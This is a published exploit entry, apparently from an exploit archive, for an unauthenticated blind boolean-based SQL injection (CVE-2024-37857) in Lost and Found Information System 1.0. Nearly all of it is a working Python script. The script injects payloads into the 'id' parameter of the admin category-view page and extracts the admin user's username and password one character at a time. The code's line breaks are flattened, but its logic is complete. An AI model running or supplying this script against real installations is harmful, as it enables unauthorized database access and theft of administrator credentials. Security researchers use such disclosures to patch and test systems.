Lost And Found Information System 1.0 SQL Injection

# Exploit Title: Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System # Exploit Author: Amit Roy (Rezur / AR0x7)# Date: June 07, 2024# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip# Tested on: Kali Linux, Apache, Mysql# Version: v1.0# Exploit Description:#   Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.# CVE : CVE-2024-37857import requests,string,sys,argparser = requests.Session()proxies = {'http': 'http://127.0.0.1:8080'}admin_path = "/php-lfis/admin/index.php"createCategory_path = "/php-lfis/classes/Master.php"def char_extract(rhost, payload):    params = {"page": "categories/view_category", "id": payload}    response = r.get(rhost+admin_path, params=params)    if "Category ID is not valid" not in response.text:        return True    else:        return False    def sqli(rhost, column):    charset = string.printable    output_length = 200    output = ""    for i in range(output_length):        for char in charset:            # Extracts the credentials of user with id=1, admin by default            payload = "13371337' or char(%s) = (select substring(%s,%s,1) from users where id=1)-- -" % (ord(str(char)),str(column),str(i+1))            sys.stdout.write(f"\r[*] Extracting: {output}\r")            if char_extract(rhost, payload):                output += char                break            elif char == '~' and not char_extract(rhost, payload):                print("[*] Extracting:",output)                return outputdef argsetup():    about  = 'Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System (https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)'    parser = argparse.ArgumentParser(description=about)    parser.add_argument('-t', '--target', help='Target ip address or hostname. Example : "http://localhost"', required=True)    args = parser.parse_args()    return argsdef main():    args   = argsetup()    rhost = args.target    print(sqli(rhost, 'username'),':',sqli(rhost, 'password'))if __name__ == "__main__":    main()